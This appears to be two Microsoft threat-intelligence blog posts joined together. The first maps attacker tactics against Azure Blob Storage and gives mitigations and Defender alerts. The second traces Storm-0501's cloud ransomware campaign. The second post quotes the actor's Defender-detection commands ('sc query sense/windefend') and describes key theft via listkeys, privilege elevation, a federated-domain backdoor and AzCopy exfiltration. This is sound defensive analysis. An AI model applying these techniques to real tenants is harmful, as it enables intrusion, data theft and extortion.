Recognizing these risks, Microsoft’s Secure Future Initiative (SFI) has strengthened default security by design, but defenders must continue to follow security baseline recommendations and leverage customer-facing security capabilities to stay ahead of evolving threats. In alignment with the MITRE ATT&CK framework, Microsoft Threat Intelligence continually updates threat matrices to map the evolving tactics and techniques targeting cloud environments. While some of our previous work has focused on Kubernetes and containerized workloads at the compute layer of the cloud stack, this blog shifts the lens to the data storage layer—specifically, Azure Blob Storage.

Therefore, in this blog, we outline some of the unique threats associated with the data storage layer, including relevant stages of the attack chain for Blob Storage to connect these risks to actionable Azure Security controls and applicable security recommendations. We also provide threat detections to help contain and prevent Blob Storage threat activity with Microsoft Defender for Cloud’s Defender for Storage plan. By understanding the unique threats facing Azure Blob Storage and implementing targeted security controls, organizations can better safeguard their most critical workloads and data repositories against evolving attacker tactics.

How Azure Blob Storage works

Azure Storage supports a wide range of options for handling exabytes of blob data from many sources at scale. Blobs store everything from checkpoint and model files for AI to parquet datasets for analytics. These blobs are organized into containers, which function like folders grouping sets of blobs. A single storage account can contain an unlimited number of containers, and each container can store an unlimited number of blobs.

Blob Storage also supports HPC, backup, and disaster recovery scenarios for more resiliency and business continuity, like backing up on-premises resources or Infrastructure as a Service (IaaS) virtual machine-hosted SQL Server data. Azure Data Lake Storage offers specific optimizations well suited for file system and analytics workloads such as hierarchical namespace and fast atomic operations. Blob storage also supports public access scenarios such as download for static files—not all files are accessible for download over internet.

Azure Storage fulfils the cloud shared responsibility model through best practices across identity and access management, secure networking, data protection, and continuous monitoring. It supports best practices that help defend across the attack chain when implemented as part of both a cloud-native identity and access management solution such as Microsoft Entra ID, and a cloud-native application protection platform such as Defender for Cloud. Azure Storage integrates with both, allowing least-privilege access through Entra role-based access control (RBAC) and fine-grained Entra Azure attribute-based access control (ABAC).

Azure Storage safeguards data in transit with network protections such as network security perimeter, private endpoint/Private Link and virtual networks, and encryption for data in transit via TLS. It uses service-side encryption (SSE) to automatically encrypt all Azure Storage resources persisted to the cloud, including blobs and object metadata, and cannot be disabled. While Storage automatically encrypts all data in a storage account at the service level using 256-bit AES encryption (one of the strongest block ciphers available), it is also possible to enable 256-bit AES encryption at the infrastructure level for double encryption to protect against a scenario where one of the encryption algorithms or keys might be compromised.

Azure Storage integrates with Azure Backup and Microsoft Defender for ransomware and malware protection. Azure Storage also supports a wide range of data protection scenarios, such as preventing deletion or modification of accounts and blobs through immutability settings and enabling recovery from data deletion or overwrites through soft delete and versioning.  

A look at the attack chain

To help defenders apply appropriate controls and our recommendations against various threat scenarios across the attack chain, we take a closer look at the progression.

Reconnaissance

Threat actors enumerate Blob Storage to identify publicly exposed data and credentials that they can leverage later in the attack chain. Common tactics include DNS and HTTP header probing to scan for valid *.blob.core.windows.net subdomains. Threat actors can now also use language models to generate plausible storage account or container names to make brute-forcing more effective.

Enumeration tools like Goblob have long been made available on GitHub, and threat actors can extend this type of capability misusing other tools on GitHub like QuickAZ, which combines storage enumeration with other Azure reconnaissance capabilities. Threat actors may also try to leverage PowerShell-based scanners easily accessible to brute-force prefix and suffix combinations for hours using permutation dictionary scripts. They can also turn to dedicated indexers cataloging tens of thousands of publicly exposed containers.  

When sensitive credentials, such as storage account keys, shared access signatures (SAS), or Microsoft Entra ID principal credentials are discovered in source code repositories or configuration files (including version histories), threat actors can more easily gain an initial foothold. Storage account keys are particularly high risk if they grant full read, write, and delete access to storage resources. With these credentials, threat actors can escalate privileges, move laterally, or proceed directly to exfiltrate data.

Resource development

Threat actors try to exploit misconfigured or missing identity controls to create malicious resources in Blob Storage in furtherance of their operations and targeting. They may attempt to leverage Azure Blob Storage to host spoofed versions of legitimate Microsoft sign-in pages to make it more challenging for potential victims to discern based on an inspection of the SSL certificates alone.

Threat actors may attempt to place malicious executables or macro-enabled documents in containers left open to anonymous access or secured by weak or compromised SAS. This could lead to victims downloading harmful content directly from those blob URLs.

Since Blob Storage often stores machine learning training datasets, threat actors may exploit it for data poisoning by injecting mislabeled or malicious samples to skew model behavior and produce incorrect predictions.

Initial access

A single misconfigured endpoint could expose sensitive information. Theoretically, a threat actor could attempt to exploit blob-triggered Azure Functions using Event Grid that process files in storage containers, or Azure Logic Apps that automate file transfers from external sources like FTP servers, to gain entry to downstream workflows linked to Azure Storage—if those workflows rely on misconfigured or insufficiently secured authentication mechanisms. This could allow an attacker to maliciously trigger trusted automation or hijack event routing to escalate privileges or move laterally within the environment.

Persistence

If a threat actor gains access to an environment through Blob Storage, they may attempt to establish a long-term foothold by manipulating identity and access configurations that are resilient to standard remediation efforts such as key rotations or password resets. These techniques may include assigning built-in roles or custom roles with elevated privileges to identities under their control, generating SAS with broad permissions and extended expiration periods, modifying container-level access policies to permit anonymous read access, enabling Secure File Transfer Protocol (SFTP) on storage accounts, or leveraging soft-delete capabilities to conceal malicious payloads by uploading, deleting, and later restoring blobs.

Threat actors frequently abuse legitimate tools such as AADInternals to establish backdoors and persist, enabling access to both cloud and hybrid resources. Additionally, frameworks like AzureHound are extensively leveraged to identify privileged escalation paths from enumerated Azure resources.

Defense evasion

Threat actors may attempt to evade detection by tampering with Blob Storage networking and logging configurations—loosening or deleting firewall rules, adding overly permissive IP address ranges or virtual network (VNet) rules, creating unauthorized private endpoints, distributing requests across regions, or disabling diagnostic logging.

Credential access

Threat actors may attempt to obtain Blob Storage credentials through several vectors, including token and key extraction, cloud shell persistence abuse, and exposure through misconfigurations. For token and key extraction, threat actors with access to Entra ID tokens may reuse refresh tokens to obtain new access tokens, or invoke privileged management APIs (for example, listKeys) to extract primary and secondary storage account keys. These keys may grant full data-plane access and bypass identity-based controls. For cloud shell persistence abuse, because Azure Cloud Shell stores session data within a hidden blob container within the user’s storage account, threat actors with access may retrieve cached credentials, command history, or configuration files containing sensitive information. Finally, for exposure through misconfiguration, if secure transfer is not enforced or network access controls are overly permissive, shared keys or SAS tokens may be exposed in transit or through public endpoints. This includes keys and tokens found in exposed or compromised endpoints or code-repositories. These credentials can then possibly be reused by threat actors to access or exfiltrate data.

Discovery

After gaining a foothold in Azure, threat actors might map Blob Storage to locate valuable data and understand defensive settings. To uncover blob containers unintentionally exposed publicly, they could enumerate the broader cloud estate—querying subscriptions, resource groups, and storage account inventories. After identifying accounts, threat actors could probe deeper: listing containers and blobs, inspecting metadata, and retrieving configuration details such as firewall rules, logging targets, immutability policies, and backup schedules. This would enable them to identify where sensitive data resides and assess which controls can be bypassed or disabled to facilitate collection, exfiltration, or destruction.

Lateral movement

When a new blob is added to a container, Azure can trigger Azure Functions, Logic Apps, or other workflows. If a threat actor controls the source container and an Event Grid subscription is configured, they may upload specially crafted files that trigger downstream compute resources running under managed identities, which may have elevated permissions to move laterally into other services.

If Azure Functions store their code in Azure Storage and threat actors gain write access, they may attempt to replace the code with malicious files. When the function is triggered by a blob event, HTTP request or timer, it could run malicious code under the function’s identity, potentially granting access to other resources.

Threat actors may also target automated data pipelines or third-party integrations that trust blob-based inputs. Enterprises often use Azure Data Factory and Azure Synapse Analytics to copy and transform data from Azure Blob Storage. These pipelines typically authenticate to Blob using managed identities, service principals, SAS tokens, or account keys, and may connect over managed private endpoints. If an attacker can modify data in a source container, they may influence downstream processing or gain access to services that trust the pipeline’s identity, enabling further lateral movement.

Collection

If blob containers are misconfigured, threat actors may be able to list and download large volumes of data directly from storage. If access is obtained, they may copy or export sensitive files into a staging container they control, using Storage operations like StartCopy, SyncCopy, or CopyBlob through AzCopy or the Azure Storage REST API to stay within Azure and evade detection. They may compress or encrypt the data cache internally as well before attempting to exfiltrate it.

Command and control

Blob Storage can be abused to distribute malware if the account or credentials are compromised. Threat actors may try to use Blob Storage as a covert beacon channel, where malware running on compromised hosts periodically polls for new blobs or metadata updates containing command payloads. After infecting a target, malware might send HEAD or GET requests to the Azure blob’s REST API, retrieving metadata without downloading the file content. If malware parses these headers as communication channels, it may send exfiltrated data back by writing separate metadata updates. Threat actors could embed new commands within metadata fields, meaning the blob’s content remains unchanged while the metadata plane acts as a persistent, stealthy command-and-control (C2) server. 

Additionally, threat actors may attempt to exploit object replication to propagate payloads across environments. If a replication policy is successfully configured, any new blobs added to a compromised source container are automatically copied to a trusted destination container—turning it into a distribution hub and enabling supply chain–style attacks.

Exfiltration

If threat actors gain access to the environment, they might leverage Azure-native tools like Azure Storage Explorer or AzCopy to exfiltrate data at scale—exploiting Azure’s high bandwidth and trusted domains to evade detection. 

For instance, they could enable static website hosting and copy sensitive blobs into the publicly accessible $web container. Disabling anonymous access on the storage account-level offers no protection here, because the $web container always remains publicly accessible. In another scenario, threat actors could exfiltrate data into a separate Azure subscription they control, using Microsoft’s internal network as a covert transport layer to bypass controls. 

Threat actors could also embed exfiltration logic within Azure Functions, Logic Apps, or Automation runbooks, disguising them as legitimate maintenance tasks and throttling transfers to stay below volume or rate thresholds.

Third-party integrations can also lead to indirect exposure if the integrated products are compromised. For example, in 2023, defenders whose environments had MOVEit Transfer application connected to Blob Storage for file transfers or archiving partially contained a zero-day vulnerability, which was later attributed in a tweet by Microsoft to Lace Tempest (known for ransomware operations and running the Clop extortion site).

Impact

If threat actors obtain high privilege roles, storage account keys, or broadly scoped SAS tokens, they can cause extensive damage—for example, issuing mass DeleteBlob or DeleteContainer operations, overwriting objects including with empty content, or re-encrypting data by reuploading modified content or writing new content to blobs. With the necessary privileges, threat actors can also modify file contents or metadata, change access tiers, and remove legal holds. In many scenarios, simply reading or exfiltrating data can result in long-term impact, even without immediate disruption—such as in cases of espionage.

Recommendations

Microsoft recommends the following mitigations to reduce the impact of this threat. 

Apply zero trust principles to Azure Storage.

Business asset security depends on the integrity of the privileged accounts that administer your IT systems. Refer to our FAQ for answers on securing privileged access. Learn to enable the Azure identity management and access control security best practices, such as ensuring separate user accounts and mail forwarding for Global Administrator accounts. Follow best practices for using Microsoft Entra role-based access control.

Implement our security recommendations for Blob Storage.

• Data protection
• Identity and access management
• Networking
• Logging and monitoring

Monitor the Azure security baseline for Storage and its recommendations using Defender for Cloud.

Microsoft Defender for Cloud periodically analyzes the security state of your Azure resources to identify potential security vulnerabilities and then provides security recommendations on how to address them. For more information, see Review your security recommendations.

Enable Microsoft Defender for Storage.

Defender for Storage provides an additional layer of security intelligence that detects unusual and potentially harmful attempts to access or exploit storage accounts. Its alerts detect and prevent top cloud storage threats, including sensitive data exfiltration, data corruption, and malicious file uploads. For more information, see Understand security threats and alerts in Microsoft Defender for Storage.

You don’t need to enable diagnostic logs for analysis. Defender for Storage also detects suspicious activities from entities without identities that access your data using misconfigured and overly permissive SAS. These SAS might be leaked or compromised.

Sensitive data threat detection considers the sensitivity of the data at risk, quickly identifying and addressing the most significant risks. It also detects exposure events and suspicious activities on resources containing sensitive data. Learn more about sensitive data threat detection.

Enable Defender for Storage via built-in policy. Monitor compliance states to detect if an attacker attempts to tamper with Defender for Storage to evade defenses, and automatically respond with alerts and recovery tasks.

• Enable malware scanning.

Malware scanning in Defender for Storage detects in near real-time and mitigates a wide variety of malware threats either by scanning blobs automatically when blobs are being frequently uploaded or modified, or on-demand for proactive security, incident response, integrating partner data, and securing data pipelines and machine learning datasets.

You can store scan results using index tags, which can be used by applications to automate workflows. Microsoft Defender for Cloud also generates relevant security alerts in the portal, so you can configure automations or export them to Microsoft Sentinel or another SIEM. You can also send results to an Event Grid for automating response and create an audit trail with Log Analytics.

Scanning supports automated remediation through built-in soft deletion of malicious blobs discovered during scanning, blocking access, quarantining and forwarding clean files.

Enable Defender Cloud Security Posture Management (CSPM).

Enabling the CSPM plan extends CSPM capabilities that are automatically enabled as part of Defender for Cloud to offer extra protections for your environment such as cloud security explorer, attack path analysis, and agentless scanning for machines.  

• Use sensitive data discovery.

The Sensitive data discovery component of CSPM identifies sensitive resources and their related risks, then helps prioritize and remediate those risks using the Microsoft Purview classification engine.

Use the cloud security checklist as a structured approach for securing your Azure cloud estate.

This checklist provides security guidance for those managing the technology infrastructure that supports all the workload development and operations hosted on Azure. To help ensure your workloads are secure and aligned with the Zero Trust model, use the design review checklist for security. We also provide complementary guidance on applying security practices and DevSecOps controls in a security development lifecycle.

Enable threat protection for AI services.

Blob Storage is often used to store training datasets for Azure Machine Learning. Because data poisoning is among the most severe machine learning threats, it is critical to scan uploads before they ever enter your pipeline to prevent targeted poisoning attacks.

Microsoft Defender XDR detections

Microsoft Defender for Cloud

When Defender for Storage is enabled, the following alerts in Defender for Cloud may indicate Azure Blob Storage threat activity. Note that other alerts apply to Azure Files.

Some of these alerts will not work if sensitive data threat detection is disabled. Some alerts may be relevant to secondary stages of the attack chain or only be an indication of a penetration test in your organization.

Reconnaissance

• Publicly accessible storage containers successfully discovered
• Publicly accessible storage containers unsuccessfully scanned
• Access from a known suspicious IP address to a sensitive blob container
• Access from a Tor exit node to a sensitive blob container
• Access from a suspicious IP address
• Unusual data exploration in a storage account

Resource Development

• Phishing content hosted on a storage account
• Suspicious external access to an Azure storage account with overly permissive SAS token 
• Suspicious external operation to an Azure storage account with overly permissive SAS token 
• Unusual SAS token was used to access an Azure storage account from a public IP address

Initial Access

• Access from a known suspicious application to a sensitive blob container
• Access from a suspicious application
• Access from an unusual location to a sensitive blob container
• Access from an unusual location to a storage account
• Authenticated access from a Tor exit node
• Unusual unauthenticated access to a storage container
• Unusual unauthenticated public access to a sensitive blob container 

Discovery

• Unusual access inspection in a storage account 

Lateral Movement

• Unusual application accessed a storage account 
• Malicious blob was downloaded from a storage account (with malware scanning add-on enabled)

Collection

• The access level of a potentially sensitive storage blob container was changed to allow unauthenticated public access
• The access level of a sensitive storage blob container was changed to allow unauthenticated public access 

Command and control

• Potential malware uploaded to a storage account
• Malicious file uploaded to storage account (with malware scanning add-on enabled; this alert may be an indication that a threat actor intentionally uploaded malware or that a legitimate user unintentionally uploaded a malicious file)

Exfiltration

• Unusual amount of data extracted from a sensitive blob container
• Unusual amount of data extracted from a storage account 
• Unusual number of blobs extracted from a sensitive blob container 

Impact

• Unusual deletion in a storage account 

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Threats targeting or leveraging Azure Blob Storage

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to Microsoft plugins such as for either Microsoft Defender XDR or Microsoft Sentinel.

MITRE ATT&CK Techniques observed

This threat exhibits the use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Reconnaissance

T1593.002 Search Open Websites/Domains: Search Engines | Threat actors may use search engines and advanced querying (for example, site:*.blob.core.windows.net) to discover exposed Blob Storage accounts.

T1594 Search Victim-Owned Websites | Threat actors might look for storage accounts of a victim enterprise by searching its websites. Victim-owned website pages might be stored on a storage account or contain links to retrieve data stored in a storage account. The links contain the URL of the storage and provide an entry point into the account.

T1595.003 Active Scanning: Wordlist Scanning | Threat actors might attempt to locate publicly accessible cloud storage accounts or containers by iteratively trying different permutations or using target-specific wordlists to discover storage endpoints that can be probed for vulnerabilities or misconfigurations.

T1596 Search Open Technical Databases | Threat actors might search public databases for publicly available storage accounts that can be used during targeting.

T1596.001 Search Open Technical Databases: DNS/Passive DNS | Threat actors might search for DNS data for valid storage account names that could become potential targets by querying nameservers using brute-force techniques to enumerate existing storage accounts in the wild or searching through centralized repositories of DNS query responses.

Resource Development

T1583.004 Acquire Infrastructure: Server | If threat actors exploit weak or misconfigured identity controls, Blob Storage could be misused as attacker-controlled infrastructure for hosting malicious payloads, phishing, or C2 scripts.

Initial Access

T1566.001 Phishing: Spearphishing Attachment | Blob Storage could host malicious attachments for spear phishing if threat actors leverage compromised SAS tokens or misconfigured anonymous access.

T1566.002 Phishing: Spearphishing Link | Blob Storage could be misused as a publicly accessible host for spear-phishing links if anonymous or misconfigured containers exist.

T1078.004 Valid Accounts: Cloud Accounts | Threat actors could gain an account-like foothold in Blob Storage if they compromise SAS or storage account keys or successfully take control of a Microsoft Entra ID principal account that holds roles or permissions over Blob Storage. 

Persistence

T1098.001 Account Manipulation: Additional Cloud Credentials | To maintain access even if compromised credentials are revoked, threat actors may try to exploit Blob Storage’s Role-Based Access Control (RBAC) by modifying permissions on identity objects, like Microsoft Entra ID security principals. They may also create high-privilege SAS tokens with long expiry, modify container access levels to allow anonymous reads, or provision SFTP accounts that bypass key rotation.

Defense Evasion

T1562.011 Impair Defenses: Disable or Modify Tools | Threat actors can try to disable, suppress, or modify Defender for Storage scanning features.

T1562.007 Impair Defenses: Disable or Modify Cloud Firewall | Threat actors may try to disable, modify, or reconfigure Blob Storage’s firewall and virtual network rules—such as by granting exceptions for trusted services through managed identities, establishing private endpoints, or leveraging geo-replication—to mask access channels and maintain persistent, covert access even if primary credentials are revoked. 

Credential Access

T1528 Steal Application Access Token | Threat actors may compromise Blob Storage by stealing OAuth-based application access tokens (including refresh tokens) or by leveraging subscription-level privileges to query management APIs and extract primary and secondary storage account keys. While compromised tokens enable impersonation of legitimate users with constrained, renewable privileges, keys grant unrestricted data-plane access that bypasses identity-based controls. Possession of either credential type can lead to full access to blob containers, facilitating data compromise and lateral movement across the cloud environment.

T1003 OS Credential Dumping | Threat actors might dump Cloud Shell profiles and session history—stored in blob containers of an Azure Storage account—to extract sensitive credentials such as OAuth tokens, API keys, or other authentication secrets. While these credentials differ from traditional OS password hashes, their extraction is analogous to conventional credential dumping because threat actors can use them to impersonate legitimate users and gain unauthorized, persistent access to Blob Storage, facilitating lateral movement and data compromise.

T1040 Network Sniffing | Threat actors might passively intercept network traffic destined for Blob Storage when unencrypted protocols are allowed, exposing shared keys, SAS tokens, or API tokens that could then be used to gain unauthorized access to the blob data plane. By exploiting cloud-native traffic mirroring tools, a threat actor could intercept and analyze the network data flowing to and from the virtual machines interacting with Blob Storage.

Discovery

T1580 Cloud Infrastructure Discovery | Blob Storage could be enumerated post-compromise to list subscriptions, resource groups, or container names that are not externally visible.

T1619 Cloud Storage Object Discovery | Blob Storage could be enumerated post-compromise to find specific blob data and configuration details, such as by call listing APIs to inventory objects or use control-plane access to retrieve firewall rules, logging, and backup policies.

Lateral Movement

T1021.007 Remote Services: Cloud Services | Threat actors might manipulate Blob Storage to trigger a compute service, such as Azure Functions, after placing a malicious blob in a monitored container. This automatic execution chain lets attackers pivot from the compromised container to the compute resource, potentially infiltrating additional components.

Collection

T1074.002 Data Staged: Remote Data Staging | Blob Storage could be used as a “staging area” if permissions are overly broad.

T1530 Data from Cloud Storage Object | Blob Storage could be abused to retrieve or copy data directly from containers if they are misconfigured, publicly accessible, or if keys or SAS tokens are obtained. This might include selectively downloading stored files.

Command and Control

T1105 Ingress Tool Transfer | Threat actors might upload and store malicious programs or scripts in Blob Storage after compromising the storage account or its credentials, leverage automatic synchronization to “fan out” malicious payloads across hosts that regularly pull from blob containers, and facilitate ongoing C2 to enable additional compromise and lateral movement. By merging malicious uploads with normal blob usage, threat actors could stealthily distribute harmful tools to multiple hosts simultaneously, reinforcing both C2 and lateral movement.

Exfiltration

T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage | Blob Storage may facilitate data exfiltration if permissions are overly permissive or credentials (for example, account keys, SAS tokens) are compromised. Threat actors may abuse the “static website” feature to expose blob containers through public web endpoints or use tools like AzCopy to transfer stolen data.

T1030 Data Transfer Size Limits | A threat actor might deliberately constrain the packet sizes of Blob Storage data to remain below established thresholds by transferring it in fixed-size chunks rather than as entire blobs.

T1020 Automated Exfiltration | Threat actors might embed exfiltration routines in predefined automation processes in Blob Storage to evade detection.

T1537 Transfer Data to Cloud Account | Threat actors might transfer Blob Storage data to another cloud account that is under their control by using internal APIs and network paths that evade detection mechanisms focused on external data transfers.

Impact

T1485 Data Destruction | Blob Storage could be compromised or misused for data destruction, where a threat actor deletes or overwrites blob data for impact.

T1486 Data Encrypted for Impact | Blob Storage could be targeted by ransomware if threat actors obtain privileged access or compromise keys.

T1565 Data Manipulation | Threat actors might insert, delete, or modify Blob Storage data to compromise data integrity and influence outcomes by altering blob contents or metadata, disrupting business processes, distorting organizational insights, or concealing malicious activities.

References

• https://attack.mitre.org/
• https://cyberdom.blog/azure-blob-storage-powershell-scanning-script/
• https://grayhatwarfare.medium.com/how-to-search-for-open-amazon-s3-buckets-and-their-contents-https-buckets-grayhatwarfare-com-577b7b437e01
• https://www.bleepingcomputer.com/news/security/ransomware-gangs-now-abuse-microsoft-azure-tool-for-data-theft/
• https://www.progress.com/moveit
• https://x.com/MsftSecIntel/status/1665537730946670595

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Inside the attack chain: Threat activity targeting Azure Blob Storage appeared first on Microsoft Security Blog.

Unlike traditional on-premises ransomware, where the threat actor typically deploys malware to encrypt critical files across endpoints within the compromised network and then negotiates for a decryption key, cloud-based ransomware introduces a fundamental shift. Leveraging cloud-native capabilities, Storm-0501 rapidly exfiltrates large volumes of data, destroys data and backups within the victim environment, and demands ransom—all without relying on traditional malware deployment.

Storm-0501’s targeting is opportunistic. The threat actor initially deployed Sabbath ransomware in an attack against United States school districts in 2021. In November 2023, the actor targeted the healthcare sector. Over the years, the actor switched ransomware payloads multiple times, using Embargo ransomware in 2024 attacks.

In September 2024, we published a blog detailing how Storm-0501 extended its on-premises ransomware operations into hybrid cloud environments. The threat actor gained a foothold by compromising Active Directory environments and then pivoted to Microsoft Entra ID, escalating privileges on hybrid and cloud identities to gain global administrator privileges. The impact phase of these attacks took one of two forms: implanting backdoors in Entra ID tenant configurations using maliciously added federated domains to allow sign-in as nearly any user or deploying on-premises ransomware to encrypt endpoints and servers, eventually demanding ransom for the decryption keys.

Storm-0501 has continued to demonstrate proficiency in moving between on-premises and cloud environments, exemplifying how threat actors adapt as hybrid cloud adoption grows. They hunt for unmanaged devices and security gaps in hybrid cloud environments to evade detection and escalate cloud privileges and, in some cases, traverse tenants in multi-tenant setups to achieve their goals.

In this blog post, we describe the impact of a recent Storm-0501 attack on a compromised cloud environment. We trace how the threat actor achieved cloud-based ransomware impact through cloud privilege escalation, taking advantage of protection and visibility gaps across the compromised environment, and pivoting from on-premises to cloud pivots. Understanding how such attacks are conducted is critical in protecting cloud environments. Below we share protection and mitigation recommendations, including strengthening protections for cloud identities and cloud resources, and detection guidance across Microsoft security solutions to help organizations harden their networks against these attacks.

On-premises compromise and pivot to the cloud

In a recent campaign, Storm-0501 compromised a large enterprise composed of multiple subsidiaries, each operating its own Active Directory domain. These domains are interconnected through domain trust relationships, enabling cross-domain authentication and resource access.

The cloud environment mirrors this complexity. Different subsidiaries maintain separate Microsoft Azure tenants, with varying Microsoft Defender product coverage. Notably, only one tenant had Microsoft Defender for Endpoint deployed, and devices from multiple Active Directory domains were onboarded to this single tenant’s license. This fragmented deployment created visibility gaps across the environment.

Active Directory domains were synchronized to several Entra ID tenants using Entra Connect Sync servers. In some cases, a single domain was synced to more than one tenant, further complicating identity management and monitoring. For clarity, this blog focuses on the two tenants impacted by the attack: one where on-premises activity was observed, and another where cloud-based activity occurred.

On-premises activity

For the purposes of this blog, we focus our analysis on the post-compromise phase of the on-premises attack, meaning that the threat actor had already achieved domain administrator privileges in the targeted domain. Read our previous blog for a more comprehensive overview of Storm-0501 tactics in on-premises environments.

The limited deployment of Microsoft Defender for Endpoint across the environment significantly hindered detection. Of the multiple compromised domains, only one domain had significant Defender for Endpoint deployment, leaving portions of the network unmonitored. On the few onboarded devices where Storm-0501 activity was observed, we noted that the threat actor conducted reconnaissance before executing malicious actions. Specifically, the threat actor used the following commands:

sc query sense
sc query windefend

The threat actor checked for the presence of Defender for Endpoint services, suggesting a deliberate effort to avoid detection by targeting non-onboarded systems. This highlights the importance of comprehensive endpoint coverage.

Lateral movement was facilitated using Evil-WinRM, a post-exploitation tool that utilizes PowerShell over Windows Remote Management (WinRM) for remote code execution. The abovementioned commands were executed over sessions initiated with the tool, as well as discovery using other common native Windows tools and commands such as quser.exe and net.exe. Earlier in the attack, the threat actor had compromised an Entra Connect Sync server that was not onboarded to Defender for Endpoint. We assess that this server served as a pivot point, with the threat actor establishing a tunnel to move laterally within the network.

The threat actor also performed a DCSync attack, a technique that abuses the Directory Replication Service (DRS) Remote Protocol to simulate the behavior of a domain controller. By impersonating a domain controller, the threat actor could request password hashes for any user in the domain, including privileged accounts. This technique is often used to extract credentials without triggering traditional authentication-based alerts.

Pivot to the cloud

Following the on-premises compromise of the first tenant, the threat actor leveraged the Entra Connect Sync Directory Synchronization Account (DSA) to enumerate users, roles, and Azure resources within the tenant. This reconnaissance was performed using AzureHound, a tool designed to map relationships and permissions in Azure environments and consequently find potential attack paths and escalations.

Shortly thereafter, the threat actor attempted to sign in as several privileged users. These attempts were unsuccessful, blocked by Conditional Access policies and multifactor authentication (MFA) requirements. This suggests that while Storm-0501 had valid credentials, they lacked the necessary second factor or were unable to satisfy policy conditions.

Undeterred, Storm-0501 shifted tactics. Leveraging their foothold in the Active Directory environment, they traversed between Active Directory domains and eventually moved laterally to compromise a second Entra Connect server associated with different Entra ID tenant and Active Directory domain. The threat actor extracted the Directory Synchronization Account to repeat the reconnaissance process, this time targeting identities and resources in the second tenant.

Identity escalation

As a result of the discovery phase where the threat actor leveraged on-premises control to pivot across Active Directory domains and vastly enumerate cloud resources, they gained critical visibility of the organization’s security posture. They then identified a non-human synced identity that was assigned with the Global Administrator role in Microsoft Entra ID on that tenant. Additionally, this account lacked any registered MFA method. This enabled the threat actor to reset the user’s on-premises password, which shortly after was then legitimately synced to the cloud identity of that user using the Entra Connect Sync service. We identified that that password change was conducted by the Entra Connect’s Directory Synchronization Account (DSA), since the Entra Connect Sync service was configured on the most common mode Password-Hash Synchronization (PHS). Consequently, the threat actor was able to authenticate against Entra ID as that user using the new password.

Since no MFA was registered to that user, after successfully authenticating using the newly assigned password, the threat actor was redirected to simply register a new MFA method under their control. From then on, the compromised user had a registered MFA method that enabled the threat actor to meet MFA conditions and comply with the customer’s Conditional Access policies configuration per resource.

To access the Azure portal using the compromised Global Admin account, the threat actor had to bypass one more condition that was enforced by Conditional Access policies for that resource, which require authentication to occur from a Microsoft Entra hybrid joined device. Hybrid joined devices are devices that are joined to both the Active Directory domain and Entra ID. We observed failed authentication attempts coming from company devices that are either domain-joined or Entra-joined devices that did not meet the Conditional Access condition. The threat actor had to move laterally between different devices in the network, until we observed a successful sign-in to the Azure portal with the Global Admin account coming from a server that was hybrid joined.

From the point that the threat actor was able to successfully meet the Conditional Access policies and sign in to the Azure portal as a Global Admin account, Storm-0501 essentially achieved full control over the cloud domain. The threat actor then utilized the highest possible cloud privileges to obtain their goals in the cloud.

Cloud identity compromise: Entra ID

Cloud persistence

Following successful authentication as a Global Admin to the tenant, Storm-0501 immediately established a persistence mechanism. As was seen in the threat actor’s previous activity, Storm-0501 created a backdoor using a maliciously added federated domain, enabling them to sign in as almost any user, according to the ImmutableId user property. The threat actor leveraged the Global Administrator Entra role privileges and the AADInternals tool to register a threat actor-owned Entra ID tenant as a trusted federated domain by the targeted tenant. To establish trust between the two tenants, a threat actor-generated root certificate is provided to the victim tenant, which in turn is used to allow authentication requests coming from the threat actor-owned tenant. The backdoor enabled Storm-0501 to craft security assertion markup language (SAML) tokens applicable to the victim tenant, impersonating users in the victim tenant while assuming the impersonated user’s Microsoft Entra roles.

Cloud compromise: Azure

Azure initial access and privilege escalation

A tenant’s Entra ID and Azure environments are intertwined. And since Storm-0501 gained top-level Entra ID privileges, they could proceed to their final goal, which was to use cloud-based ransomware tactics for monetary gain. To achieve this goal, they had to find the organization’s valuable data stores, and these were residing in the cloud: in Azure.

Because they had compromised a user with the Microsoft Entra Global Administrator role, the only operation they had to do to infiltrate the Azure environment was to elevate their access to Azure resources. They elevated their access to Azure resources by invoking the Microsoft.Authorization/elevateAccess/action operation. By doing so, they gained the User Access Administrator Azure role over all the organization’s Azure subscriptions, including all the valuable data residing inside them.

To freely operate within the environment, the threat actor assigned themselves the Owner Azure role over all the Azure subscriptions available by invoking the Microsoft.Authorization/roleAssignments/write operation.

Discovery

After taking control over the organization’s Azure environment, we assess that the threat actor initiated a comprehensive discovery phase using various techniques, including the usage of the AzureHound tool, where they attempted to locate the organization’s critical assets, including data stores that contained sensitive information, and data store resources that are meant to back up on-premises and cloud endpoint devices. The threat actor managed to map out the Azure environment, including the understanding of existing environment protections, such as Azure policies, resource locks, Azure Storage immutability policies, and more.

Defense evasion

The threat actor then targeted the organization’s Azure Storage accounts. Using the public access features in Azure Storage, Storm-0501 exposed non-remotely accessible accounts to the internet and to their own infrastructure, paving the way for data exfiltration phase. They did this by utilizing the public access features in Azure Storage. To modify the Azure Storage account resources, the threat actor abused the Azure Microsoft.Storage/storageAccounts/write operation.

Credential access

For Azure Storage accounts that have key access enabled, the threat actor abused their Azure Owner role to access and steal the access keys for them by abusing the Azure Microsoft.Storage/storageAccounts/listkeys/action operation.

Exfiltration

After exposing the Azure Storage accounts, the threat actor exfiltrated the data in these accounts to their own infrastructure by abusing the AzCopy Command-line tool (CLI).

Impact

In on-premises ransomware, the threat actor typically deploys malware that encrypts crucial files on as many endpoints as possible, then negotiates with the victim for the decryption key. In cloud-based ransomware attacks, cloud features and capabilities give the threat actor the capability to quickly exfiltrate and transmit large amounts of data from the victim environment to their own infrastructure, destroy the data and backup cloud resources in the victim cloud environment, and then demand the ransom.

